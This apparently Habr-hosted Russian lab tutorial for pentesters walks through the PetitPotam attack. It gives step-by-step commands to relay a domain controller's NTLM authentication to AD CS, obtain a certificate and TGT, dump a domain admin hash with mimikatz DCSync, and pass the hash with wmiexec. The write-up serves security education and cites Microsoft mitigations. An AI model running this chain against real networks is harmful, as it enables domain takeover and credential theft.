![](https://habrastorage.org/getpro/habr/upload_files/488/32a/39a/48832a39a2429f88559e78f26cf994f5.png)
В этой статье я расскажу про атаку PetitPotam, которая позволяет при определенных условиях захватить контроллер домена всего за несколько действий. Атака основана на том, что можно заставить контроллер домена аутентифицироваться на вашем хосте, получить его хэш и ретранслировать его в службу Active Directory Certificate Services для повышения привилегий. Статья предназначена для пентестеров и тех, кто хочет узнать об актуальных атаках на Active Directory.
О PetitPotam
Данная уязвимость была открыта исследователем безопасности Лионелем Жилль (Gilles Lionel) 18-го июля 2021 г. Атака PetitPotam позволяет контроллеру домена аутентифицироваться на любом удаленном сервере. Это достигается за счет использования метода EfsRpcOpenFileRaw протокола MS-EFSRPC, который заставляет учетную запись компьютера аутентифицироваться в другой системе.
Протокол EFSRPC используется для операций обслуживания и управления зашифрованными данными, которые хранятся удаленно и доступны по сети.
C помощью PetitPotam можно заставить контроллер домена инициировать процесс аутентификации на сервере, который находится под контролем злоумышленника, и поделиться с ним значением NTLM-хэша. С помощью полученных данных злоумышленник может провести атаку NTLM-relay.
Коротко о NTLM-relay
Суть атаки NTLM-relay сводится к тому, чтобы вмешаться в процесс аутентификации по протоколу NTLM и получить доступ к стороннему ресурсу с привилегиями атакуемого пользователя, передав ему NTLM-хэш пользователя или сервиса, который пытается аутентифицироваться. Атака может быть реализована в отношении любого протокола, поддерживающего NTLM-аутентификацию (SMB, HTTP, LDAP и т.д.).
https://en.hackndo.com/ntlm-relay/#authentication-vs-session
Используя атаку PetitPotam, атакующий может повысить свои привилегии до администратора домена. Для успешного проведения атаки необходимо, чтобы:
У атакующего был доступ к внутренней сети
В Active Directory Certificate Services (AD CS) была активирована опция Web Enrollment
Служба AD CS может быть установлена в качестве роли на контроллере домена (Domain Controller), либо на отдельном сервере, который входит в этот домен.
Таким образом злоумышленник ретранслирует NTLM-хэш контроллера домена в службу Web Enrollment AD CS (Active Directory Certificate Services) и запрашивает сертификат от имени контроллера домена. Затем этот сертификат используется для запроса TGT (Ticket Granting Ticket).
Коротко о TGT
После прохождения успешной аутентификации пользователем, центр распределения ключей выдает первичное удостоверение для доступа к сетевым ресурсам — Ticket Granting Ticket. Если данный билет подписать доменной учетной записью Kerberos (krbtgt), то билет будет "золотым" (Golden Ticket), что позволит пользователю аутентифицироваться на любом сервере в этом домене.
Далее мы рассмотрим алгоритм действий для атаки.
Схема атаки
Атака была протестирована на Windows Server 2019. Версия ОС 10.0.17763
Запустим ntlmrelayx, чтобы ретранслировать аутентификационные данные контроллера домена в AD CS
Запустим PetitPotam, чтобы инициировать NTLM-аутентификацию контроллера домена c подконтрольным атакующему сервером (ntlmrelayx)
Получим сертификат PKCS12 в base64 формате
Импортируем сертификат в kekeo (для запроса TGT).
Запустим mimikatz для дампа SAM секретов для выбранного пользователя
Запустим атаку Pass-the-hash
Для демонстрации атаки была развернута следующая инфраструктура:
192.168.0.123 - AD CS (Windows Server 2019)
192.168.0.122 - Контроллер домена (Windows Server 2019)
192.168.0.124 - NTLM-listener (Kali linux)
![](https://habrastorage.org/getpro/habr/upload_files/a71/63b/711/a7163b711b1727a50e28ac59921bd70e.png)
Шаг 1. Запуск ntlmrelayx
Подготовка
git clone https://github.com/ExAndroidDev/impacket.git
sudo pip3 uninstall impacket
sudo pip uninstall impacket
sudo pip3 install -r requirements.txt
sudo python3 setup.py install
sudo python3 ntlmrelayx.py -debug -smb2support --target http://192.168.0.123/certsrv/certfnsh.asp --adcs --template KerberosAuthentication
Чтобы ntlmrelayx ретранслировал NTLM-хэш контроллера домена в AD CS, используем шаблон KerberosAuthentication, но также можно использовать шаблон DomainControllers.
![](https://habrastorage.org/getpro/habr/upload_files/9ab/758/cc9/9ab758cc997a9394f61d1f874c8820b1.jpeg)
Если перейти на https://192.168.0.123/certsrv/certfnsh.asp, то увидим форму аутентификации.
![](https://habrastorage.org/getpro/habr/upload_files/79c/6f5/3be/79c6f53becebd84cfc51de1391bc058c.png)
Шаг 2. PetiPotam
Подготовка
python3 Petitpotam.py 192.168.0.124 192.168.0.122
Пока ntlmrelayx находится в ожидании соединений, инициируем с помощью PetitPotam NTLM аутентификацию контроллера домена c подконтрольным атакующему сервером для последующей ретрансляцией NTLM-хэша в AD CS.
![](https://habrastorage.org/getpro/habr/upload_files/f83/796/144/f837961448bcfa11984938a0e063a505.jpeg)
Шаг 3. Сертификат PKCS12
На машине с запущенным ntlmrelayx получаем сертификат PKCS12 в base64, который зарегистрирован в AD CS от имени контроллера домена.
![](https://habrastorage.org/getpro/habr/upload_files/944/7a6/b96/9447a6b96d0f77a860ad3aa0b3d15af5.jpeg)
Этот сертификат можно использовать для получения TGT в службе аутентификации Kerberos.
Шаг 4. Import PKCS12 to kekeo
Подготовка
curl [https://github.com/gentilkiwi/kekeo/releases/download/2.2.0-20210723/kekeo.zip](https://github.com/gentilkiwi/kekeo/releases/download/2.2.0-20210723/kekeo.zip) -o kekeo.zip
tar -xf .\kekeo.zip
Данный сертификат импортируем в kekeo.
.\kekeo.exe
base64 /input:on
tgt::ask /pfx:<base64 сертификат из шага 3> /user:<указать юзера из шага 3> /domain:<название домена> /ptt
![](https://habrastorage.org/getpro/habr/upload_files/996/0c8/576/9960c857697bc4506624a11e5ff718fa.jpg)
Шаг 5. Mimikatz
Подготовка
curl [https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210724/mimikatz_trunk.zip](https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210724/mimikatz_trunk.zip) -o mimikatz.zip
tar -xf mimikatz.zip
.\mimikatz.exe
lsadump::dcsync /domain:<название домена> /user:<укажите любого пользователя>
Теперь у нас есть TGT, который мы можем использовать, чтобы аутентифицироваться на любом хосте в домене. С помощью него мы можем получить NTLM-хэш любого пользователя домена с контроллера домена.
С помощью mimikatz сдампим NTLM-хэш пользователя adm, который является доменным администратором.
mimikatz # lsadump::dsync /domain:DEITERIY.LAB /user:adm
![](https://habrastorage.org/getpro/habr/upload_files/201/9f5/45e/2019f545e70819ab432b7473fe9a2c00.jpeg)
Шаг 6. Pass-the-hash
С помощью Pass-the-hash аутентифицируемся на любом хосте, например на контроллере домена.
wmiexec.exe -hashes :ntlm DEITERIY/adm@192.168.0.122
![](https://habrastorage.org/getpro/habr/upload_files/aa7/b34/69a/aa7b3469a06f858c7f556ffc25d6c4b6.jpeg)
Заключение
Вот таким образом за несколько действий можно повысить свои привилегии до администратора домена. Стоит отметить, что атаки, основанные на NTLM-relay, существуют давно, но атака PetitPotam выделяется на их фоне, так как не требует учетных данных и не требует взаимодействия пользователя для инициирования аутентификации контроллером домена на сервере злоумышленника.
О мерах предосторожности, рекомендованных компанией Microsoft, можно прочитать по ссылке: https://support.microsoft.com/en-gb/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429
В качестве дополнительных материалов рекомендую ознакомиться со статьями: